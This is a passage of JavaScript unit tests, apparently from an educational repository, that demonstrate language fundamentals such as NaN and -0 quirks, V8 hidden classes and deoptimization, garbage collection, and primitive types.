demonstrate 1/+0 vs 1/-0', () => {\n        expect(1 / +0).toBe(Infinity)\n        expect(1 / -0).toBe(-Infinity)\n        expect((1 / +0) === (1 / -0)).toBe(false)\n      })\n\n      it('should demonstrate Math.sign with -0', () => {\n        expect(Object.is(Math.sign(-0), -0)).toBe(true)\n        expect(Math.sign(-0) === 0).toBe(true) // But === says it equals 0\n      })\n\n      it('should parse -0 from JSON', () => {\n        const negZero = JSON.parse(\"-0\")\n        expect(Object.is(negZero, -0)).toBe(true)\n      })\n\n      it('should create -0 through multiplication', () => {\n        expect(Object.is(0 * -1, -0)).toBe(true)\n        expect(Object.is(-0 * 1, -0)).toBe(true)\n      })\n    })\n\n    describe('Map with NaN as Key', () => {\n      it('should use NaN as a Map key', () => {\n        const map = new Map()\n        \n        map.set(NaN, \"value for NaN\")\n        \n        // Map uses SameValueZero algorithm, which treats NaN === NaN\n        expect(map.get(NaN)).toBe(\"value for NaN\")\n        expect(map.has(NaN)).toBe(true)\n      })\n\n      it('should only have one NaN key despite multiple sets', () => {\n        const map = new Map()\n        \n        map.set(NaN, \"first\")\n        map.set(NaN, \"second\")\n        \n        expect(map.size).toBe(1)\n        expect(map.get(NaN)).toBe(\"second\")\n      })\n    })\n\n    describe('Number.isSafeInteger', () => {\n      it('should identify safe integers', () => {\n        expect(Number.isSafeInteger(3)).toBe(true)\n        expect(Number.isSafeInteger(-3)).toBe(true)\n        expect(Number.isSafeInteger(0)).toBe(true)\n        expect(Number.isSafeInteger(Number.MAX_SAFE_INTEGER)).toBe(true)\n        expect(Number.isSafeInteger(Number.MIN_SAFE_INTEGER)).toBe(true)\n      })\n\n      it('should return false for unsafe integers', () => {\n        expect(Number.isSafeInteger(Number.MAX_SAFE_INTEGER + 1)).toBe(false)\n        expect(Number.isSafeInteger(Number.MIN_SAFE_INTEGER - 1)).toBe(false)\n      })\n\n      it('should return false for non-integers', () => {\n        expect(Number.isSafeInteger(3.1)).toBe(false)\n        expect(Number.isSafeInteger(NaN)).toBe(false)\n        expect(Number.isSafeInteger(Infinity)).toBe(false)\n        expect(Number.isSafeInteger(\"3\")).toBe(false)\n      })\n    })\n\n    describe('NaN Creation Examples', () => {\n      it('should create NaN from 0/0', () => {\n        expect(Number.isNaN(0 / 0)).toBe(true)\n      })\n\n      it('should create NaN from Math.sqrt(-1)', () => {\n        expect(Number.isNaN(Math.sqrt(-1))).toBe(true)\n      })\n\n      it('should create NaN from invalid math operations', () => {\n        expect(Number.isNaN(Infinity - Infinity)).toBe(true)\n        expect(Number.isNaN(Infinity / Infinity)).toBe(true)\n        expect(Number.isNaN(0 * Infinity)).toBe(true)\n      })\n    })\n\n    describe('Sorting Array of Number Strings', () => {\n      it('should sort incorrectly with default sort', () => {\n        const arr = [\"10\", \"9\", \"2\", \"1\", \"100\"]\n        const sorted = [...arr].sort()\n\n        // Lexicographic sort - NOT numeric order!\n        expect(sorted).toEqual([\"1\", \"10\", \"100\", \"2\", \"9\"])\n      })\n\n      it('should sort correctly with numeric comparison', () => {\n        const arr = [\"10\", \"9\", \"2\", \"1\", \"100\"]\n        const sorted = [...arr].sort((a, b) => Number(a) - Number(b))\n\n        expect(sorted).toEqual([\"1\", \"2\", \"9\", \"10\", \"100\"])\n      })\n\n      it('should sort correctly using + for conversion', () => {\n        const arr = [\"10\", \"9\", \"2\", \"1\", \"100\"]\n        const sorted = [...arr].sort((a, b) => +a - +b)\n\n        expect(sorted).toEqual([\"1\", \"2\", \"9\", \"10\", \"100\"])\n      })\n    })\n  })\n})\n"
  },
  {
    "path": "tests/fundamentals/javascript-engines/javascript-engines.test.js",
    "content": "import { describe, it, expect } from 'vitest'\n\ndescribe('JavaScript Engines', () => {\n  describe('Basic Examples from Documentation', () => {\n    it('should demonstrate basic function execution (opening example)', () => {\n      // From the opening of the documentation\n      function greet(name) {\n        return \"Hello, \" + name + \"!\"\n      }\n\n      expect(greet(\"World\")).toBe(\"Hello, World!\")\n      expect(greet(\"JavaScript\")).toBe(\"Hello, JavaScript!\")\n      expect(greet(\"V8\")).toBe(\"Hello, V8!\")\n    })\n  })\n\n  describe('Object Shape Consistency', () => {\n    it('should create objects with consistent property order', () => {\n      // Objects with same properties in same order share hidden classes\n      const point1 = { x: 1, y: 2 }\n      const point2 = { x: 5, y: 10 }\n      \n      // Both should have same property keys in same order\n      expect(Object.keys(point1)).toEqual(['x', 'y'])\n      expect(Object.keys(point2)).toEqual(['x', 'y'])\n      expect(Object.keys(point1)).toEqual(Object.keys(point2))\n    })\n\n    it('should show different key order for differently created objects', () => {\n      // Property order matters for hidden classes\n      const a = { x: 1, y: 2 }\n      const b = { y: 2, x: 1 }\n      \n      // Keys are in different order\n      expect(Object.keys(a)).toEqual(['x', 'y'])\n      expect(Object.keys(b)).toEqual(['y', 'x'])\n      \n      // These have DIFFERENT hidden classes in V8!\n      expect(Object.keys(a)).not.toEqual(Object.keys(b))\n    })\n\n    it('should maintain consistent shapes with factory functions', () => {\n      // Factory functions create consistent shapes (engine-friendly)\n      function createPoint(x, y) {\n        return { x, y }\n      }\n      \n      const p1 = createPoint(1, 2)\n      const p2 = createPoint(3, 4)\n      const p3 = createPoint(5, 6)\n      \n      // All have identical structure\n      expect(Object.keys(p1)).toEqual(Object.keys(p2))\n      expect(Object.keys(p2)).toEqual(Object.keys(p3))\n    })\n\n    it('should demonstrate transition chains when adding properties', () => {\n      const obj = {}\n      expect(Object.keys(obj)).toEqual([])\n      \n      obj.x = 1\n      expect(Object.keys(obj)).toEqual(['x'])\n      \n      obj.y = 2\n      expect(Object.keys(obj)).toEqual(['x', 'y'])\n      \n      // Each step creates a new hidden class (transition chain)\n    })\n\n    it('should compare Pattern A (object literal) vs Pattern B (empty object + properties)', () => {\n      // Pattern A: Object literal - creates shape immediately\n      function createPointA(x, y) {\n        return { x: x, y: y }\n      }\n      \n      // Pattern B: Empty object + property additions - goes through transitions\n      function createPointB(x, y) {\n        const point = {}\n        point.x = x\n        point.y = y\n        return point\n      }\n      \n      const pointA = createPointA(1, 2)\n      const pointB = createPointB(3, 4)\n      \n      // Both produce same final shape\n      expect(Object.keys(pointA)).toEqual(['x', 'y'])\n      expect(Object.keys(pointB)).toEqual(['x', 'y'])\n      \n      // Both work correctly\n      expect(pointA.x).toBe(1)\n      expect(pointA.y).toBe(2)\n      expect(pointB.x).toBe(3)\n      expect(pointB.y).toBe(4)\n      \n      // Pattern A is more engine-friendly because:\n      // - V8 can optimize object literals with known properties\n      // - Pattern B goes through 3 hidden class transitions: {} -> {x} -> {x,y}\n    })\n  })\n\n  describe('Type Consistency', () => {\n    it('should demonstrate consistent number operations', () => {\n      // V8 optimizes for consistent types\n      function add(a, b) {\n        return a + b\n      }\n      \n      // Consistent number usage (monomorphic, fast)\n      expect(add(1, 2)).toBe(3)\n      expect(add(3, 4)).toBe(7)\n      expect(add(5, 6)).toBe(11)\n    })\n\n    it('should handle type changes (triggers deoptimization)', () => {\n      function process(x) {\n        return x + x\n      }\n      \n      // Numbers\n      expect(process(5)).toBe(10)\n      expect(process(10)).toBe(20)\n      \n      // Strings (type change - would trigger deoptimization in V8)\n      expect(process(\"hello\")).toBe(\"hellohello\")\n      \n      // Mixed usage works but is slower due to deoptimization\n    })\n\n    it('should demonstrate dynamic object shapes with process function', () => {\n      // From JIT compilation section - shows why JS needs JIT\n      function process(x) {\n        return x.value * 2\n      }\n      \n      // Object with number value\n      expect(process({ value: 10 })).toBe(20)\n      \n      // Object with string value (NaN result)\n      expect(process({ value: \"hello\" })).toBeNaN()\n      \n      // Different shape (extra property) - still works\n      expect(process({ value: 10, extra: 5 })).toBe(20)\n      \n      // Even more different shape\n      expect(process({ value: 5, a: 1, b: 2 })).toBe(10)\n      \n      // This demonstrates why JavaScript needs JIT:\n      // - x could be any object shape\n      // - x.value could be any type\n      // - AOT compilation can't optimize for all possibilities\n    })\n\n    it('should show typeof consistency', () => {\n      let num = 42\n      expect(typeof num).toBe('number')\n      \n      // Changing types is valid JS but can cause deoptimization\n      // let num = \"forty-two\" // Would change type\n      \n      // Better: use separate variables\n      const numValue = 42\n      const strValue = \"forty-two\"\n      \n      expect(typeof numValue).toBe('number')\n      expect(typeof strValue).toBe('string')\n    })\n  })\n\n  describe('Array Optimization', () => {\n    it('should create dense arrays (engine-friendly)', () => {\n      // Dense array - all indices filled, same type\n      const dense = [1, 2, 3, 4, 5]\n      \n      expect(dense.length).toBe(5)\n      expect(dense[0]).toBe(1)\n      expect(dense[4]).toBe(5)\n      \n      // V8 can use optimized \"packed\" array representation\n    })\n\n    it('should demonstrate sparse arrays (slower)', () => {\n      // Sparse array with holes - V8 uses slower dictionary mode\n      const sparse = []\n      sparse[0] = 1\n      sparse[100] = 2\n      \n      expect(sparse.length).toBe(101)\n      expect(sparse[0]).toBe(1)\n      expect(sparse[50]).toBe(undefined) // Hole\n      expect(sparse[100]).toBe(2)\n      \n      // This creates 99 \"holes\" - less efficient\n    })\n\n    it('should show typed array benefits', () => {\n      // Typed arrays are always optimized (single type, no holes)\n      const int32Array = new Int32Array([1, 2, 3, 4, 5])\n      \n      expect(int32Array.length).toBe(5)\n      expect(int32Array[0]).toBe(1)\n      \n      // All elements guaranteed to be 32-bit integers\n    })\n\n    it('should demonstrate mixed-type arrays (polymorphic)', () => {\n      // Mixed types require more generic handling\n      const mixed = [1, \"two\", 3, null, { four: 4 }]\n      \n      expect(typeof mixed[0]).toBe('number')\n      expect(typeof mixed[1]).toBe('string')\n      expect(typeof mixed[3]).toBe('object')\n      expect(typeof mixed[4]).toBe('object')\n      \n      // V8 can't assume element types - slower operations\n    })\n\n    it('should preserve array type with consistent operations', () => {\n      const numbers = [1, 2, 3, 4, 5]\n      \n      // map preserves array structure\n      const doubled = numbers.map(n => n * 2)\n      expect(doubled).toEqual([2, 4, 6, 8, 10])\n      \n      // filter preserves type consistency\n      const filtered = numbers.filter(n => n > 2)\n      expect(filtered).toEqual([3, 4, 5])\n    })\n  })\n\n  describe('Property Access Patterns', () => {\n    it('should demonstrate monomorphic property access', () => {\n      // Monomorphic: always same object shape\n      function getX(obj) {\n        return obj.x\n      }\n      \n      // All objects have same shape - fastest IC state\n      expect(getX({ x: 1, y: 2 })).toBe(1)\n      expect(getX({ x: 3, y: 4 })).toBe(3)\n      expect(getX({ x: 5, y: 6 })).toBe(5)\n    })\n\n    it('should show polymorphic access (multiple shapes)', () => {\n      function getX(obj) {\n        return obj.x\n      }\n      \n      // Different shapes - polymorphic IC\n      expect(getX({ x: 1 })).toBe(1)                    // Shape A\n      expect(getX({ x: 2, y: 3 })).toBe(2)              // Shape B\n      expect(getX({ x: 4, y: 5, z: 6 })).toBe(4)        // Shape C\n      \n      // Still works, but inline cache has multiple entries\n    })\n\n    it('should demonstrate computed property access', () => {\n      const obj = { a: 1, b: 2, c: 3 }\n      \n      // Direct property access (faster)\n      expect(obj.a).toBe(1)\n      \n      // Computed property access (slightly slower but necessary for dynamic keys)\n      const key = 'b'\n      expect(obj[key]).toBe(2)\n    })\n\n    it('should demonstrate megamorphic access (many different shapes)', () => {\n      function getX(obj) {\n        return obj.x\n      }\n      \n      // Every call has a completely different shape\n      // This would cause megamorphic IC state in V8\n      expect(getX({ x: 1 })).toBe(1)\n      expect(getX({ x: 2, a: 1 })).toBe(2)\n      expect(getX({ x: 3, b: 2 })).toBe(3)\n      expect(getX({ x: 4, c: 3 })).toBe(4)\n      expect(getX({ x: 5, d: 4 })).toBe(5)\n      expect(getX({ x: 6, e: 5 })).toBe(6)\n      expect(getX({ x: 7, f: 6 })).toBe(7)\n      \n      // IC gives up after too many shapes - falls back to generic lookup\n      // Still works correctly, just slower than monomorphic/polymorphic\n    })\n  })\n\n  describe('Class vs Object Literal Shapes', () => {\n    it('should create consistent shapes with classes', () => {\n      class Point {\n        constructor(x, y) {\n          this.x = x\n          this.y = y\n        }\n      }\n      \n      const p1 = new Point(1, 2)\n      const p2 = new Point(3, 4)\n      const p3 = new Point(5, 6)\n      \n      // All instances have identical shape\n      expect(Object.keys(p1)).toEqual(['x', 'y'])\n      expect(Object.keys(p2)).toEqual(['x', 'y'])\n      expect(Object.keys(p3)).toEqual(['x', 'y'])\n    })\n\n    it('should show prototype chain optimization', () => {\n      class Animal {\n        speak() {\n          return 'sound'\n        }\n      }\n      \n      class Dog extends Animal {\n        speak() {\n          return 'woof'\n        }\n      }\n      \n      const dog = new Dog()\n      \n      // Method lookup follows prototype chain\n      expect(dog.speak()).toBe('woof')\n      expect(dog instanceof Dog).toBe(true)\n      expect(dog instanceof Animal).toBe(true)\n    })\n  })\n\n  describe('Avoiding Deoptimization Patterns', () => {\n    it('should show delete causing shape change', () => {\n      const user = { name: 'Alice', age: 30, temp: true }\n      \n      expect(Object.keys(user)).toEqual(['name', 'age', 'temp'])\n      \n      // delete changes hidden class (bad for performance)\n      delete user.temp\n      \n      expect(Object.keys(user)).toEqual(['name', 'age'])\n      expect(user.temp).toBe(undefined)\n      \n      // Better alternative: set to undefined\n      const user2 = { name: 'Bob', age: 25, temp: true }\n      user2.temp = undefined  // Hidden class stays the same\n      \n      expect('temp' in user2).toBe(true)  // Property still exists\n      expect(user2.temp).toBe(undefined)\n    })\n\n    it('should demonstrate object spread for immutable updates', () => {\n      const original = { x: 1, y: 2, z: 3 }\n      \n      // Instead of mutating, create new object\n      const updated = { ...original, z: 10 }\n      \n      expect(original.z).toBe(3)  // Original unchanged\n      expect(updated.z).toBe(10)  // New object with update\n      \n      // Both have consistent shapes\n      expect(Object.keys(original)).toEqual(['x', 'y', 'z'])\n      expect(Object.keys(updated)).toEqual(['x', 'y', 'z'])\n    })\n\n    it('should show inconsistent shapes with conditional property assignment', () => {\n      // Bad pattern: conditional property assignment creates different shapes\n      function createUserBad(name, age) {\n        const user = {}\n        if (name) user.name = name\n        if (age) user.age = age\n        return user\n      }\n      \n      const user1 = createUserBad('Alice', 30)\n      const user2 = createUserBad('Bob', null)      // Only name\n      const user3 = createUserBad(null, 25)         // Only age\n      const user4 = createUserBad(null, null)       // Empty\n      \n      // All have different shapes!\n      expect(Object.keys(user1)).toEqual(['name', 'age'])\n      expect(Object.keys(user2)).toEqual(['name'])\n      expect(Object.keys(user3)).toEqual(['age'])\n      expect(Object.keys(user4)).toEqual([])\n      \n      // Compare with good pattern\n      function createUserGood(name, age) {\n        return { name, age }  // Always same shape\n      }\n      \n      const goodUser1 = createUserGood('Alice', 30)\n      const goodUser2 = createUserGood('Bob', null)\n      const goodUser3 = createUserGood(null, 25)\n      \n      // Same shape regardless of values (nulls are still properties)\n      expect(Object.keys(goodUser1)).toEqual(['name', 'age'])\n      expect(Object.keys(goodUser2)).toEqual(['name', 'age'])\n      expect(Object.keys(goodUser3)).toEqual(['name', 'age'])\n    })\n  })\n\n  describe('Function Optimization Patterns', () => {\n    it('should demonstrate consistent function signatures', () => {\n      function multiply(a, b) {\n        return a * b\n      }\n      \n      // Consistent argument types enable optimization\n      expect(multiply(2, 3)).toBe(6)\n      expect(multiply(4, 5)).toBe(20)\n      expect(multiply(6, 7)).toBe(42)\n    })\n\n    it('should show inlining with small functions', () => {\n      // Small functions are candidates for inlining\n      function square(x) {\n        return x * x\n      }\n      \n      function sumOfSquares(a, b) {\n        return square(a) + square(b)\n      }\n      \n      // V8 may inline square() into sumOfSquares()\n      expect(sumOfSquares(3, 4)).toBe(25)  // 9 + 16\n    })\n\n    it('should demonstrate closure optimization', () => {\n      function createAdder(x) {\n        // Closure captures x\n        return function(y) {\n          return x + y\n        }\n      }\n      \n      const add5 = createAdder(5)\n      const add10 = createAdder(10)\n      \n      // Closures with consistent captured values can be optimized\n      expect(add5(3)).toBe(8)\n      expect(add10(3)).toBe(13)\n    })\n  })\n\n  describe('Garbage Collection Concepts', () => {\n    it('should demonstrate object references', () => {\n      let obj = { data: 'important' }\n      const ref = obj\n      \n      // Both point to same object\n      expect(ref.data).toBe('important')\n      \n      // Setting obj to null doesn't GC the object\n      // because ref still holds a reference\n      obj = null\n      expect(ref.data).toBe('important')\n    })\n\n    it('should show circular references', () => {\n      const a = { name: 'a' }\n      const b = { name: 'b' }\n      \n      // Circular reference\n      a.ref = b\n      b.ref = a\n      \n      expect(a.ref.name).toBe('b')\n      expect(b.ref.name).toBe('a')\n      expect(a.ref.ref.name).toBe('a')\n      \n      // Modern GC can handle circular references\n      // (mark-and-sweep doesn't rely on reference counting)\n    })\n\n    it('should demonstrate WeakRef for GC-friendly references', () => {\n      // WeakRef allows object to be garbage collected\n      let obj = { data: 'temporary' }\n      const weakRef = new WeakRef(obj)\n      \n      // Can access while object exists\n      expect(weakRef.deref()?.data).toBe('temporary')\n      \n      // Note: We can't force GC in tests, but WeakRef\n      // allows the referenced object to be collected\n    })\n\n    it('should show Map vs WeakMap for memory management', () => {\n      // Regular Map holds strong references\n      const map = new Map()\n      let key = { id: 1 }\n      map.set(key, 'value')\n      \n      expect(map.get(key)).toBe('value')\n      \n      // WeakMap allows keys to be garbage collected\n      const weakMap = new WeakMap()\n      let weakKey = { id: 2 }\n      weakMap.set(weakKey, 'value')\n      \n      expect(weakMap.get(weakKey)).toBe('value')\n      \n      // If weakKey is set to null and no other references exist,\n      // the entry can be garbage collected\n    })\n  })\n\n  describe('JIT Compilation Observable Behavior', () => {\n    it('should handle hot function calls', () => {\n      function hotFunction(n) {\n        return n * 2\n      }\n      \n      // Simulating many calls (would trigger JIT in real V8)\n      let result = 0\n      for (let i = 0; i < 1000; i++) {\n        result = hotFunction(i)\n      }\n      \n      expect(result).toBe(1998)  // Last iteration: 999 * 2\n    })\n\n    it('should demonstrate deoptimization scenario', () => {\n      function add(a, b) {\n        return a + b\n      }\n      \n      // Many calls with numbers (would be optimized for numbers)\n      for (let i = 0; i < 100; i++) {\n        add(i, i + 1)\n      }\n      \n      // Then a call with strings (triggers deoptimization)\n      const result = add('hello', 'world')\n      \n      // Still produces correct result despite deoptimization\n      expect(result).toBe('helloworld')\n    })\n\n    it('should show consistent returns for optimization', () => {\n      // Always returns same type (optimizer-friendly)\n      function maybeDouble(n, shouldDouble) {\n        if (shouldDouble) {\n          return n * 2\n        }\n        return n  // Always returns number\n      }\n      \n      expect(maybeDouble(5, true)).toBe(10)\n      expect(maybeDouble(5, false)).toBe(5)\n      expect(typeof maybeDouble(5, true)).toBe('number')\n      expect(typeof maybeDouble(5, false)).toBe('number')\n    })\n  })\n\n  describe('Hidden Class Interview Questions', () => {\n    it('should explain why object literal order matters', () => {\n      // Creating objects with different property orders\n      function createA() {\n        return { first: 1, second: 2 }\n      }\n      \n      function createB() {\n        return { second: 2, first: 1 }\n      }\n      \n      const objA = createA()\n      const objB = createB()\n      \n      // Same values, but different hidden classes\n      expect(objA.first).toBe(objB.first)\n      expect(objA.second).toBe(objB.second)\n      \n      // Property order is different\n      expect(Object.keys(objA)[0]).toBe('first')\n      expect(Object.keys(objB)[0]).toBe('second')\n    })\n\n    it('should demonstrate best practice with constructor pattern', () => {\n      // Constructor ensures consistent shape\n      function User(name, email, age) {\n        this.name = name\n        this.email = email\n        this.age = age\n      }\n      \n      const user1 = new User('Alice', 'alice@example.com', 30)\n      const user2 = new User('Bob', 'bob@example.com', 25)\n      \n      // Guaranteed same property order\n      expect(Object.keys(user1)).toEqual(['name', 'email', 'age'])\n      expect(Object.keys(user2)).toEqual(['name', 'email', 'age'])\n    })\n  })\n})\n"
  },
  {
    "path": "tests/fundamentals/primitive-types/primitive-types.test.js",
    "content": "import { describe, it, expect } from 'vitest'\n\ndescribe('Primitive Types', () => {\n  describe('String', () => {\n    it('should create strings with single quotes, double quotes, and backticks', () => {\n      let single = 'Hello'\n      let double = \"World\"\n      let backtick = `Hello World`\n\n      expect(single).toBe('Hello')\n      expect(double).toBe('World')\n      expect(backtick).toBe('Hello World')\n    })\n\n    it('should support template literal interpolation', () => {\n      let name = \"Alice\"\n      let age = 25\n\n      let greeting = `Hello, ${name}! You are ${age} years old.`\n      expect(greeting).toBe(\"Hello, Alice! You are 25 years old.\")\n    })\n\n    it('should support multi-line strings with template literals', () => {\n      let multiLine = `\n  This is line 1\n  This is line 2\n`\n      expect(multiLine).toContain('This is line 1')\n      expect(multiLine).toContain('This is line 2')\n    })\n\n    it('should demonstrate string immutability - cannot change characters', () => {\n      let str = \"hello\"\n      // In strict mode, this throws TypeError\n      // In non-strict mode, it silently fails\n      expect(() => {\n        \"use strict\"\n        str[0] = \"H\"\n      }).toThrow(TypeError)\n      expect(str).toBe(\"hello\") // Still \"hello\"\n    })\n\n    it('should create new string when \"changing\" with concatenation', () => {\n      let str = \"hello\"\n      str = \"H\" + str.slice(1)\n      expect(str).toBe(\"Hello\")\n    })\n\n    it('should not modify original string with toUpperCase', () => {\n      let name = \"Alice\"\n      name.toUpperCase() // Creates \"ALICE\" but doesn't change 'name'\n      expect(name).toBe(\"Alice\") // Still \"Alice\"\n    })\n  })\n\n  describe('Number', () => {\n    it('should handle integers, decimals, negatives, and scientific notation', () => {\n      let integer = 42\n      let decimal = 3.14\n      let negative = -10\n      let scientific = 2.5e6\n\n      expect(integer).toBe(42)\n      expect(decimal).toBe(3.14)\n      expect(negative).toBe(-10)\n      expect(scientific).toBe(2500000)\n    })\n\n    it('should return Infinity for division by zero', () => {\n      expect(1 / 0).toBe(Infinity)\n      expect(-1 / 0).toBe(-Infinity)\n    })\n\n    it('should return NaN for invalid operations', () => {\n      expect(Number.isNaN(\"hello\" * 2)).toBe(true)\n    })\n\n    it('should demonstrate floating-point precision problem', () => {\n      expect(0.1 + 0.2).not.toBe(0.3)\n      expect(0.1 + 0.2).toBeCloseTo(0.3)\n      expect(0.1 + 0.2 === 0.3).toBe(false)\n    })\n\n    it('should have MAX_SAFE_INTEGER and MIN_SAFE_INTEGER', () => {\n      expect(Number.MAX_SAFE_INTEGER).toBe(9007199254740991)\n      expect(Number.MIN_SAFE_INTEGER).toBe(-9007199254740991)\n    })\n\n    it('should lose precision beyond safe integer range', () => {\n      // This demonstrates the precision loss\n      expect(9007199254740992 === 9007199254740993).toBe(true) // Wrong but expected\n    })\n  })\n\n  describe('BigInt', () => {\n    it('should create BigInt with n suffix', () => {\n      let big = 9007199254740993n\n      expect(big).toBe(9007199254740993n)\n    })\n\n    it('should create BigInt from string', () => {\n      let alsoBig = BigInt(\"9007199254740993\")\n      expect(alsoBig).toBe(9007199254740993n)\n    })\n\n    it('should perform accurate math with BigInt', () => {\n      let big = 9007199254740993n\n      expect(big + 1n).toBe(9007199254740994n)\n    })\n\n    it('should require explicit conversion between BigInt and Number', () => {\n      let big = 10n\n      let regular = 5\n\n      expect(big + BigInt(regular)).toBe(15n)\n      expect(Number(big) + regular).toBe(15)\n    })\n\n    it('should throw TypeError when mixing BigInt and Number without conversion', () => {\n      let big = 10n\n      let regular = 5\n\n      expect(() => big + regular).toThrow(TypeError)\n    })\n  })\n\n  describe('Boolean', () => {\n    it('should have only two values: true and false', () => {\n      let isLoggedIn = true\n      let hasPermission = false\n\n      expect(isLoggedIn).toBe(true)\n      expect(hasPermission).toBe(false)\n    })\n\n    it('should create boolean from comparisons', () => {\n      let age = 25\n      let name = \"Alice\"\n\n      let isAdult = age >= 18\n      let isEqual = name === \"Alice\"\n\n      expect(isAdult).toBe(true)\n      expect(isEqual).toBe(true)\n    })\n\n    describe('Falsy Values', () => {\n      it('should identify all 8 falsy values', () => {\n        expect(Boolean(false)).toBe(false)\n        expect(Boolean(0)).toBe(false)\n        expect(Boolean(-0)).toBe(false)\n        expect(Boolean(0n)).toBe(false)\n        expect(Boolean(\"\")).toBe(false)\n        expect(Boolean(null)).toBe(false)\n        expect(Boolean(undefined)).toBe(false)\n        expect(Boolean(NaN)).toBe(false)\n      })\n    })\n\n    describe('Truthy Values', () => {\n      it('should identify truthy values including surprises', () => {\n        expect(Boolean(true)).toBe(true)\n        expect(Boolean(1)).toBe(true)\n        expect(Boolean(-1)).toBe(true)\n        expect(Boolean(\"hello\")).toBe(true)\n        expect(Boolean(\"0\")).toBe(true) // Non-empty string is truthy!\n        expect(Boolean(\"false\")).toBe(true) // Non-empty string is truthy!\n        expect(Boolean([])).toBe(true) // Empty array is truthy!\n        expect(Boolean({})).toBe(true) // Empty object is truthy!\n        expect(Boolean(function(){})).toBe(true)\n        expect(Boolean(Infinity)).toBe(true)\n        expect(Boolean(-Infinity)).toBe(true)\n      })\n    })\n\n    it('should convert to boolean using Boolean() and double negation', () => {\n      let value = \"hello\"\n      let bool = Boolean(value)\n      let shortcut = !!value\n\n      expect(bool).toBe(true)\n      expect(shortcut).toBe(true)\n    })\n  })\n\n  describe('undefined', () => {\n    it('should be the default value for uninitialized variables', () => {\n      let x\n      expect(x).toBe(undefined)\n    })\n\n    it('should be the value for missing function parameters', () => {\n      function greet(name) {\n        return name\n      }\n      expect(greet()).toBe(undefined)\n    })\n\n    it('should be the return value of functions without return statement', () => {\n      function doNothing() {\n        // no return\n      }\n      expect(doNothing()).toBe(undefined)\n    })\n\n    it('should be the value for non-existent object properties', () => {\n      let person = { name: \"Alice\" }\n      expect(person.age).toBe(undefined)\n    })\n  })\n\n  describe('null', () => {\n    it('should represent intentional absence of value', () => {\n      let user = { name: \"Alice\" }\n      user = null\n      expect(user).toBe(null)\n    })\n\n    it('should be used to indicate no result from functions', () => {\n      function findUser(id) {\n        // Simulating user not found\n        return null\n      }\n      expect(findUser(999)).toBe(null)\n    })\n\n    it('should have typeof return \"object\" (famous bug)', () => {\n      expect(typeof null).toBe(\"object\")\n    })\n\n    it('should be checked with strict equality', () => {\n      let value = null\n      expect(value === null).toBe(true)\n    })\n  })\n\n  describe('Symbol', () => {\n    it('should create unique symbols even with same description', () => {\n      let id1 = Symbol(\"id\")\n      let id2 = Symbol(\"id\")\n\n      expect(id1 === id2).toBe(false)\n    })\n\n    it('should have accessible description', () => {\n      let id1 = Symbol(\"id\")\n      expect(id1.description).toBe(\"id\")\n    })\n\n    it('should work as unique object keys', () => {\n      const ID = Symbol(\"id\")\n      const user = {\n        name: \"Alice\",\n        [ID]: 12345\n      }\n\n      expect(user.name).toBe(\"Alice\")\n      expect(user[ID]).toBe(12345)\n    })\n\n    it('should not appear in Object.keys', () => {\n      const ID = Symbol(\"id\")\n      const user = {\n        name: \"Alice\",\n        [ID]: 12345\n      }\n\n      expect(Object.keys(user)).toEqual([\"name\"])\n    })\n  })\n\n  describe('typeof Operator', () => {\n    it('should return correct types for primitives', () => {\n      expect(typeof \"hello\").toBe(\"string\")\n      expect(typeof 42).toBe(\"number\")\n      expect(typeof 42n).toBe(\"bigint\")\n      expect(typeof true).toBe(\"boolean\")\n      expect(typeof undefined).toBe(\"undefined\")\n      expect(typeof Symbol()).toBe(\"symbol\")\n    })\n\n    it('should return \"object\" for null (bug)', () => {\n      expect(typeof null).toBe(\"object\")\n    })\n\n    it('should return \"object\" for objects and arrays', () => {\n      expect(typeof {}).toBe(\"object\")\n      expect(typeof []).toBe(\"object\")\n    })\n\n    it('should return \"function\" for functions', () => {\n      expect(typeof function(){}).toBe(\"function\")\n    })\n  })\n\n  describe('Immutability', () => {\n    it('should not modify original string with methods', () => {\n      let str = \"hello\"\n\n      str.toUpperCase() // Returns \"HELLO\"\n      expect(str).toBe(\"hello\") // Still \"hello\"!\n    })\n\n    it('should require reassignment to capture new value', () => {\n      let str = \"hello\"\n      str = str.toUpperCase()\n      expect(str).toBe(\"HELLO\")\n    })\n  })\n\n  describe('const vs Immutability', () => {\n    it('should prevent reassignment with const', () => {\n      const name = \"Alice\"\n      // name = \"Bob\" would throw TypeError\n      expect(name).toBe(\"Alice\")\n    })\n\n    it('should allow mutation of const objects', () => {\n      const person = { name: \"Alice\" }\n      person.name = \"Bob\" // Works!\n      person.age = 25 // Works!\n\n      expect(person.name).toBe(\"Bob\")\n      expect(person.age).toBe(25)\n    })\n\n    it('should demonstrate primitives are immutable regardless of const/let', () => {\n      let str = \"hello\"\n      // In strict mode (which Vitest uses), this throws TypeError\n      // In non-strict mode, it silently fails\n      expect(() => {\n        str[0] = \"H\"\n      }).toThrow(TypeError)\n      expect(str).toBe(\"hello\")\n    })\n  })\n\n  describe('Autoboxing', () => {\n    it('should allow calling methods on primitive strings', () => {\n      expect(\"hello\".toUpperCase()).toBe(\"HELLO\")\n    })\n\n    it('should not modify the original primitive when calling methods', () => {\n      let str = \"hello\"\n      str.toUpperCase()\n      expect(str).toBe(\"hello\")\n    })\n\n    it('should demonstrate wrapper objects are different from primitives', () => {\n      let strObj = new String(\"hello\")\n      expect(typeof strObj).toBe(\"object\") // Not \"string\"!\n      expect(strObj === \"hello\").toBe(false) // Object vs primitive\n    })\n\n    it('should create primitive strings, not wrapper objects', () => {\n      let str = \"hello\"\n      expect(typeof str).toBe(\"string\")\n    })\n  })\n\n  describe('null vs undefined Comparison', () => {\n    it('should show loose equality between null and undefined', () => {\n      expect(null == undefined).toBe(true)\n    })\n\n    it('should show strict inequality between null and undefined', () => {\n      expect(null === undefined).toBe(false)\n    })\n\n    it('should demonstrate checking for nullish values', () => {\n      let value = null\n      expect(value == null).toBe(true)\n      \n      value = undefined\n      expect(value == null).toBe(true)\n    })\n\n    it('should check for specific null', () => {\n      let value = null\n      expect(value === null).toBe(true)\n    })\n\n    it('should check for specific undefined', () => {\n      let value = undefined\n      expect(value === undefined).toBe(true)\n    })\n\n    it('should check for \"has a value\" (not null/undefined)', () => {\n      let value = \"hello\"\n      expect(value != null).toBe(true)\n      \n      value = 0 // 0 is a value, not nullish\n      expect(value != null).toBe(true)\n    })\n  })\n\n  describe('JavaScript Quirks', () => {\n    it('should demonstrate NaN is not equal to itself', () => {\n      expect(NaN === NaN).toBe(false)\n      expect(NaN !== NaN).toBe(true)\n    })\n\n    it('should use Number.isNaN to check for NaN', () => {\n      